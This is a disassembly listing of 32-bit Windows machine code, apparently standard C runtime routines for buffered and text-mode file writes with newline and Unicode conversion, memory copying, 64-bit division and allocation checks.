		cmp	[ebp+518h+var_568], 1
		jl	loc_40D758
		inc	[ebp+518h+var_580]
		inc	[ebp+518h+var_578]
		jmp	short loc_40D4E1
; ---------------------------------------------------------------------------

loc_40D47D:				; CODE XREF: sub_40D20A+167j
		cmp	al, 1
		jz	short loc_40D485
		cmp	al, 2
		jnz	short loc_40D4A0

loc_40D485:				; CODE XREF: sub_40D20A+275j
		movzx	ecx, word ptr [esi]
		xor	edx, edx
		cmp	cx, 0Ah
		setz	dl
		inc	esi
		inc	esi
		add	[ebp+518h+var_574], 2
		mov	[ebp+518h+var_56C], ecx
		mov	[ebp+518h+var_58C], esi
		mov	[ebp+518h+var_590], edx

loc_40D4A0:				; CODE XREF: sub_40D20A+279j
		cmp	al, 1
		jz	short loc_40D4A8
		cmp	al, 2
		jnz	short loc_40D4E1

loc_40D4A8:				; CODE XREF: sub_40D20A+298j
		push	[ebp+518h+var_56C]
		call	sub_41088C
		cmp	ax, word ptr [ebp+518h+var_56C]
		pop	ecx
		jnz	loc_40D74F
		inc	[ebp+518h+var_578]
		cmp	[ebp+518h+var_590], 0
		jz	short loc_40D4E1
		push	0Dh
		pop	eax
		push	eax
		mov	[ebp+518h+var_56C], eax
		call	sub_41088C
		cmp	ax, word ptr [ebp+518h+var_56C]
		pop	ecx
		jnz	loc_40D74F
		inc	[ebp+518h+var_578]
		inc	[ebp+518h+var_580]

loc_40D4E1:				; CODE XREF: sub_40D20A+232j
					; sub_40D20A+271j ...
		mov	eax, [ebp+518h+arg_8]
		cmp	[ebp+518h+var_574], eax
		jb	loc_40D369
		jmp	loc_40D758
; ---------------------------------------------------------------------------

loc_40D4F5:				; CODE XREF: sub_40D20A+EFj
					; sub_40D20A+FCj ...
		mov	eax, [edi]
		add	eax, ebx
		test	byte ptr [eax+4], 80h
		jz	loc_40D728
		mov	eax, [ebp+518h+var_57C]
		xor	esi, esi
		cmp	[ebp+518h+var_56D], 0
		mov	[ebp+518h+var_56C], esi
		jnz	loc_40D5A6
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_568], eax
		jbe	loc_40D789

loc_40D524:				; CODE XREF: sub_40D20A+395j
		mov	ecx, [ebp+518h+var_568]
		and	[ebp+518h+var_574], 0
		sub	ecx, [ebp+518h+var_57C]
		lea	eax, [ebp+518h+var_564]

loc_40D531:				; CODE XREF: sub_40D20A+354j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_40D560
		mov	edx, [ebp+518h+var_568]
		inc	[ebp+518h+var_568]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_40D551
		inc	[ebp+518h+var_580]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+518h+var_574]

loc_40D551:				; CODE XREF: sub_40D20A+33Bj
		mov	[eax], dl
		inc	eax
		inc	[ebp+518h+var_574]
		cmp	[ebp+518h+var_574], 400h
		jb	short loc_40D531

loc_40D560:				; CODE XREF: sub_40D20A+32Dj
		mov	esi, eax
		lea	eax, [ebp+518h+var_564]
		sub	esi, eax
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_564]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	ds:dword_41D088	; WriteFile
		test	eax, eax
		jz	loc_40D74F
		mov	eax, [ebp+518h+var_584]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_40D758
		mov	eax, [ebp+518h+var_568]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		jb	short loc_40D524
		jmp	loc_40D758
; ---------------------------------------------------------------------------

loc_40D5A6:				; CODE XREF: sub_40D20A+305j
		cmp	[ebp+518h+var_56D], 2
		jnz	loc_40D64D
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_568], eax
		jbe	loc_40D789

loc_40D5BF:				; CODE XREF: sub_40D20A+438j
		mov	ecx, [ebp+518h+var_568]
		xor	esi, esi
		sub	ecx, [ebp+518h+var_57C]
		lea	eax, [ebp+518h+var_564]

loc_40D5CA:				; CODE XREF: sub_40D20A+3F7j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_40D603
		mov	edx, [ebp+518h+var_568]
		add	[ebp+518h+var_568], 2
		movzx	edx, word ptr [edx]
		inc	ecx
		inc	ecx
		cmp	dx, 0Ah
		jnz	short loc_40D5F1
		add	[ebp+518h+var_580], 2
		mov	word ptr [eax],	0Dh
		inc	eax
		inc	eax
		inc	esi
		inc	esi

loc_40D5F1:				; CODE XREF: sub_40D20A+3D8j
		mov	edi, [ebp+518h+var_588]
		mov	[eax], dx
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		cmp	esi, 3FFh
		jb	short loc_40D5CA

loc_40D603:				; CODE XREF: sub_40D20A+3C6j
		mov	esi, eax
		lea	eax, [ebp+518h+var_564]
		sub	esi, eax
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_564]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	ds:dword_41D088	; WriteFile
		test	eax, eax
		jz	loc_40D74F
		mov	eax, [ebp+518h+var_584]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_40D758
		mov	eax, [ebp+518h+var_568]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		jb	loc_40D5BF
		jmp	loc_40D758
; ---------------------------------------------------------------------------

loc_40D64D:				; CODE XREF: sub_40D20A+3A0j
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_574], eax
		jbe	loc_40D789

loc_40D65C:				; CODE XREF: sub_40D20A+516j
		mov	ecx, [ebp+518h+var_574]
		and	[ebp+518h+var_568], 0
		sub	ecx, [ebp+518h+var_57C]
		push	2
		lea	eax, [ebp+518h+var_160]
		pop	esi

loc_40D66F:				; CODE XREF: sub_40D20A+497j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_40D6A3
		mov	edx, [ebp+518h+var_574]
		movzx	edx, word ptr [edx]
		add	[ebp+518h+var_574], esi
		add	ecx, esi
		cmp	dx, 0Ah
		jnz	short loc_40D692
		mov	word ptr [eax],	0Dh
		add	eax, esi
		add	[ebp+518h+var_568], esi

loc_40D692:				; CODE XREF: sub_40D20A+47Cj
		add	[ebp+518h+var_568], esi
		mov	[eax], dx
		add	eax, esi
		cmp	[ebp+518h+var_568], 152h
		jb	short loc_40D66F

loc_40D6A3:				; CODE XREF: sub_40D20A+46Bj
		xor	esi, esi
		push	esi
		push	esi
		push	2ABh
		lea	ecx, [ebp+518h+var_410]
		push	ecx
		lea	ecx, [ebp+518h+var_160]
		sub	eax, ecx
		cdq
		sub	eax, edx
		sar	eax, 1
		push	eax
		mov	eax, ecx
		push	eax
		push	esi
		push	0FDE9h
		call	ds:dword_41D134	; WideCharToMultiByte
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_40D74F

loc_40D6D6:				; CODE XREF: sub_40D20A+4F6j
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		mov	eax, edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+esi+518h+var_410]
		push	eax
		mov	eax, [ebp+518h+var_588]
		mov	eax, [eax]
		push	dword ptr [ebx+eax]
		call	ds:dword_41D088	; WriteFile
		test	eax, eax
		jz	short loc_40D704
		add	esi, [ebp+518h+var_584]
		cmp	edi, esi
		jg	short loc_40D6D6
		jmp	short loc_40D70D
; ---------------------------------------------------------------------------

loc_40D704:				; CODE XREF: sub_40D20A+4EFj
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		mov	[ebp+518h+var_56C], eax

loc_40D70D:				; CODE XREF: sub_40D20A+4F8j
		cmp	edi, esi
		jg	short loc_40D758
		mov	eax, [ebp+518h+var_574]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		mov	[ebp+518h+var_578], eax
		jb	loc_40D65C
		jmp	short loc_40D758
; ---------------------------------------------------------------------------

loc_40D728:				; CODE XREF: sub_40D20A+2F3j
		push	0
		lea	ecx, [ebp+518h+var_584]
		push	ecx
		push	[ebp+518h+arg_8]
		push	[ebp+518h+var_57C]
		push	dword ptr [eax]
		call	ds:dword_41D088	; WriteFile
		test	eax, eax
		jz	short loc_40D74F
		mov	eax, [ebp+518h+var_584]
		and	[ebp+518h+var_56C], 0
		mov	[ebp+518h+var_578], eax
		jmp	short loc_40D758
; ---------------------------------------------------------------------------

loc_40D74F:				; CODE XREF: sub_40D20A+21Aj
					; sub_40D20A+25Bj ...
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		mov	[ebp+518h+var_56C], eax

loc_40D758:				; CODE XREF: sub_40D20A+199j
					; sub_40D20A+1AFj ...
		mov	eax, [ebp+518h+var_578]
		test	eax, eax
		jnz	short loc_40D7B5
		mov	edi, [ebp+518h+var_588]

loc_40D762:				; CODE XREF: sub_40D20A+153j
		xor	esi, esi
		cmp	[ebp+518h+var_56C], esi
		jz	short loc_40D789
		push	5
		pop	esi
		cmp	[ebp+518h+var_56C], esi
		jnz	short loc_40D77E
		call	sub_405B83
		mov	dword ptr [eax], 9
		jmp	short loc_40D7A9
; ---------------------------------------------------------------------------

loc_40D77E:				; CODE XREF: sub_40D20A+565j
		push	[ebp+518h+var_56C]
		call	sub_405BA9
		pop	ecx
		jmp	short loc_40D7B0
; ---------------------------------------------------------------------------

loc_40D789:				; CODE XREF: sub_40D20A+314j
					; sub_40D20A+3AFj ...
		mov	eax, [edi]
		test	byte ptr [ebx+eax+4], 40h
		jz	short loc_40D79E
		mov	eax, [ebp+518h+var_57C]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_40D79E
		xor	eax, eax
		jmp	short loc_40D7B8
; ---------------------------------------------------------------------------

loc_40D79E:				; CODE XREF: sub_40D20A+586j
					; sub_40D20A+58Ej
		call	sub_405B83
		mov	dword ptr [eax], 1Ch

loc_40D7A9:				; CODE XREF: sub_40D20A+572j
		call	sub_405B96
		mov	[eax], esi

loc_40D7B0:				; CODE XREF: sub_40D20A+CCj
					; sub_40D20A+57Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D7B8
; ---------------------------------------------------------------------------

loc_40D7B5:				; CODE XREF: sub_40D20A+553j
		sub	eax, [ebp+518h+var_580]

loc_40D7B8:				; CODE XREF: sub_40D20A+592j
					; sub_40D20A+5A9j
		pop	edi
		pop	ebx

loc_40D7BA:				; CODE XREF: sub_40D20A+37j
					; sub_40D20A+62j
		mov	ecx, [ebp+518h+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_402AD0
		add	ebp, 518h
		leave
		retn
sub_40D20A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7D0	proc near		; CODE XREF: sub_406B86+CBp
					; sub_406B86+13Ap ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset dword_421AD0
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_40D7FF
		call	sub_405B96
		and	dword ptr [eax], 0
		call	sub_405B83
		mov	dword ptr [eax], 9

loc_40D7F7:				; CODE XREF: sub_40D7D0+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_40D89C
; ---------------------------------------------------------------------------

loc_40D7FF:				; CODE XREF: sub_40D7D0+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_40D80D
		cmp	eax, dword_4356E8
		jb	short loc_40D82E

loc_40D80D:				; CODE XREF: sub_40D7D0+33j
					; sub_40D7D0+7Cj
		call	sub_405B96
		mov	[eax], edi
		call	sub_405B83
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		jmp	short loc_40D7F7
; ---------------------------------------------------------------------------

loc_40D82E:				; CODE XREF: sub_40D7D0+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:435700h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_40D80D
		push	eax
		call	sub_40F19E
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_40D877
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D20A
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_40D88D
; ---------------------------------------------------------------------------

loc_40D877:				; CODE XREF: sub_40D7D0+8Fj
		call	sub_405B83
		mov	dword ptr [eax], 9
		call	sub_405B96
		mov	[eax], edi
		or	[ebp+var_1C], 0FFFFFFFFh

loc_40D88D:				; CODE XREF: sub_40D7D0+A5j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40D8A2
		mov	eax, [ebp+var_1C]

loc_40D89C:				; CODE XREF: sub_40D7D0+2Aj
		call	__SEH_epilog4
		retn
sub_40D7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8A2	proc near		; CODE XREF: sub_40D7D0+C4p
					; DATA XREF: c.7ld2ih:00421AE8o
		push	dword ptr [ebp+8]
		call	sub_40F23E
		pop	ecx
		retn
sub_40D8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8AC	proc near		; CODE XREF: sub_406B86+9Cp
					; sub_40A03D+58p ...

arg_0		= dword	ptr  4

		inc	dword_427A08
		push	1000h
		call	sub_407AEA
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_40D8D5
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_40D8E6
; ---------------------------------------------------------------------------

loc_40D8D5:				; CODE XREF: sub_40D8AC+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_40D8E6:				; CODE XREF: sub_40D8AC+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_40D8AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F0	proc near		; CODE XREF: sub_406B86+91p
					; sub_408ACB+Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_40D907
		call	sub_405B83
		mov	dword ptr [eax], 9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40D907:				; CODE XREF: sub_40D8F0+7j
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_40D916
		cmp	eax, dword_4356E8
		jb	short loc_40D932

loc_40D916:				; CODE XREF: sub_40D8F0+1Cj
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_4032F9
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40D932:				; CODE XREF: sub_40D8F0+24j
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_435700[ecx*4]
		movzx	eax, byte ptr [ecx+eax+4]
		and	eax, 40h
		pop	esi
		retn
sub_40D8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D94E	proc near		; CODE XREF: sub_407D29:loc_407D4Cp
		push	esi
		push	edi
		xor	edi, edi

loc_40D952:				; CODE XREF: sub_40D94E+1Aj
		lea	esi, off_423F80[edi]
		push	dword ptr [esi]
		call	sub_4054D7
		add	edi, 4
		cmp	edi, 28h
		pop	ecx
		mov	[esi], eax
		jb	short loc_40D952
		pop	edi
		pop	esi
		retn
sub_40D94E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D96D	proc near		; CODE XREF: sub_406D87+554p
		mov	eax, dword_423064
		or	eax, 1
		xor	ecx, ecx
		cmp	dword_427E60, eax
		setz	cl
		mov	eax, ecx
		retn
sub_40D96D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D983	proc near		; CODE XREF: sub_40DAE2+12p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, [ebp+arg_8]
		jnz	short loc_40D9A9
		cmp	edi, ebx
		jbe	short loc_40D9A9
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_40D9A5
		mov	[eax], ebx

loc_40D9A5:				; CODE XREF: sub_40D983+1Ej
					; sub_40D983+ECj ...
		xor	eax, eax
		jmp	short loc_40DA28
; ---------------------------------------------------------------------------

loc_40D9A9:				; CODE XREF: sub_40D983+13j
					; sub_40D983+17j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_40D9B3
		or	dword ptr [eax], 0FFFFFFFFh

loc_40D9B3:				; CODE XREF: sub_40D983+2Bj
		cmp	edi, 7FFFFFFFh
		jbe	short loc_40D9D6
		call	sub_405B83
		push	16h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_4032F9
		add	esp, 14h

loc_40D9D2:				; CODE XREF: sub_40D983+CCj
					; sub_40D983+D5j
		mov	eax, esi
		jmp	short loc_40DA28
; ---------------------------------------------------------------------------

loc_40D9D6:				; CODE XREF: sub_40D983+36j
		push	[ebp+arg_10]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	loc_40DA81
		mov	ax, [ebp+arg_C]
		cmp	ax, 0FFh
		jbe	short loc_40DA2D
		cmp	esi, ebx
		jz	short loc_40DA0A
		cmp	edi, ebx
		jbe	short loc_40DA0A
		push	edi
		push	ebx
		push	esi
		call	sub_407F20
		add	esp, 0Ch

loc_40DA0A:				; CODE XREF: sub_40D983+76j
					; sub_40D983+7Aj ...
		call	sub_405B83
		mov	dword ptr [eax], 2Ah
		call	sub_405B83
		cmp	[ebp+var_4], bl
		mov	eax, [eax]
		jz	short loc_40DA28
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_40DA28:				; CODE XREF: sub_40D983+24j
					; sub_40D983+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40DA2D:				; CODE XREF: sub_40D983+72j
		cmp	esi, ebx
		jz	short loc_40DA5F
		cmp	edi, ebx
		ja	short loc_40DA5D

loc_40DA35:				; CODE XREF: sub_40D983+141j
					; sub_40D983+149j ...
		call	sub_405B83
		push	22h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40D9D2
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_40D9D2
; ---------------------------------------------------------------------------

loc_40DA5D:				; CODE XREF: sub_40D983+B0j
		mov	[esi], al

loc_40DA5F:				; CODE XREF: sub_40D983+ACj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_40DA6C
		mov	dword ptr [eax], 1

loc_40DA6C:				; CODE XREF: sub_40D983+E1j
					; sub_40D983+12Aj ...
		cmp	[ebp+var_4], bl
		jz	loc_40D9A5
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_40D9A5
; ---------------------------------------------------------------------------

loc_40DA81:				; CODE XREF: sub_40D983+64j
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	ebx
		push	edi
		push	esi
		push	1
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	ebx
		mov	[ebp+arg_4], ebx
		push	dword ptr [eax+4]
		call	ds:dword_41D134	; WideCharToMultiByte
		cmp	eax, ebx
		jz	short loc_40DAB3
		cmp	[ebp+arg_4], ebx
		jnz	loc_40DA0A
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_40DA6C
		mov	[ecx], eax
		jmp	short loc_40DA6C
; ---------------------------------------------------------------------------

loc_40DAB3:				; CODE XREF: sub_40D983+11Aj
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jnz	loc_40DA0A
		cmp	esi, ebx
		jz	loc_40DA35
		cmp	edi, ebx
		jbe	loc_40DA35
		push	edi
		push	ebx
		push	esi
		call	sub_407F20
		add	esp, 0Ch
		jmp	loc_40DA35
sub_40D983	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DAE2	proc near		; CODE XREF: sub_406D87+487p
					; sub_406D87+8B1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0
		push	[esp+4+arg_C]
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40D983
		add	esp, 14h
		retn
sub_40DAE2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DB00	proc near		; CODE XREF: sub_406D87+786p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_40DB31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_40DB78
; ---------------------------------------------------------------------------

loc_40DB31:				; CODE XREF: sub_40DB00+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_40DB3F:				; CODE XREF: sub_40DB00+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40DB3F
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40DB6D
		cmp	edx, [esp+4+arg_4]
		ja	short loc_40DB6D
		jb	short loc_40DB76
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_40DB76

loc_40DB6D:				; CODE XREF: sub_40DB00+5Dj
					; sub_40DB00+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_40DB76:				; CODE XREF: sub_40DB00+65j
					; sub_40DB00+6Bj
		xor	ebx, ebx

loc_40DB78:				; CODE XREF: sub_40DB00+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_40DB00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB95	proc near		; CODE XREF: sub_40DC1C+4Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], esi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 7
		jmp	short loc_40DBB5
; ---------------------------------------------------------------------------
		db 8Dh,	9Bh, 4 dup(0)
; ---------------------------------------------------------------------------

loc_40DBB5:				; CODE XREF: sub_40DB95+18j
					; sub_40DB95+7Bj
		movdqa	xmm0, oword ptr	[esi]
		movdqa	xmm1, oword ptr	[esi+10h]
		movdqa	xmm2, oword ptr	[esi+20h]
		movdqa	xmm3, oword ptr	[esi+30h]
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm1
		movdqa	oword ptr [edi+20h], xmm2
		movdqa	oword ptr [edi+30h], xmm3
		movdqa	xmm4, oword ptr	[esi+40h]
		movdqa	xmm5, oword ptr	[esi+50h]
		movdqa	xmm6, oword ptr	[esi+60h]
		movdqa	xmm7, oword ptr	[esi+70h]
		movdqa	oword ptr [edi+40h], xmm4
		movdqa	oword ptr [edi+50h], xmm5
		movdqa	oword ptr [edi+60h], xmm6
		movdqa	oword ptr [edi+70h], xmm7
		lea	esi, [esi+80h]
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_40DBB5
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_40DB95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC1C	proc near		; CODE XREF: sub_407720+42j
					; sub_407FA0+42j ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], ebx
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cdq
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		xor	ecx, edx
		sub	ecx, edx
		and	ecx, 0Fh
		xor	ecx, edx
		sub	ecx, edx
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		mov	edx, ecx
		or	edx, edi
		jnz	short loc_40DC9F
		mov	esi, [ebp+arg_8]
		mov	ecx, esi
		and	ecx, 7Fh
		mov	[ebp+var_18], ecx
		cmp	esi, ecx
		jz	short loc_40DC77
		sub	esi, ecx
		push	esi
		push	ebx
		push	eax
		call	sub_40DB95
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]

loc_40DC77:				; CODE XREF: sub_40DC1C+46j
		test	ecx, ecx
		jz	short loc_40DCF2
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		add	edx, ebx
		sub	edx, ecx
		mov	[ebp+var_14], edx
		add	ebx, eax
		sub	ebx, ecx
		mov	[ebp+var_10], ebx
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		rep movsb
		mov	eax, [ebp+arg_0]
		jmp	short loc_40DCF2
; ---------------------------------------------------------------------------

loc_40DC9F:				; CODE XREF: sub_40DC1C+37j
		cmp	ecx, edi
		jnz	short loc_40DCD8
		neg	ecx
		add	ecx, 10h
		mov	[ebp+var_1C], ecx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		rep movsb
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_1C]
		push	eax
		push	edx
		push	ecx
		call	sub_40DC1C
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		jmp	short loc_40DCF2
; ---------------------------------------------------------------------------

loc_40DCD8:				; CODE XREF: sub_40DC1C+85j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_0]

loc_40DCF2:				; CODE XREF: sub_40DC1C+5Dj
					; sub_40DC1C+81j ...
		mov	ebx, [ebp+var_4]
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_40DC1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCFF	proc near		; CODE XREF: sub_407B2A+Ep

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0040DE04 SIZE 00000019 BYTES

		push	0Ch
		push	offset dword_421AF0
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		xor	edi, edi
		cmp	ecx, edi
		jbe	short loc_40DD42
		push	0FFFFFFE0h
		pop	eax
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		sbb	eax, eax
		inc	eax
		jnz	short loc_40DD42
		call	sub_405B83
		mov	dword ptr [eax], 0Ch
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h

loc_40DD3B:				; CODE XREF: sub_40DCFF+E6j
					; sub_40DCFF+F2j
		xor	eax, eax
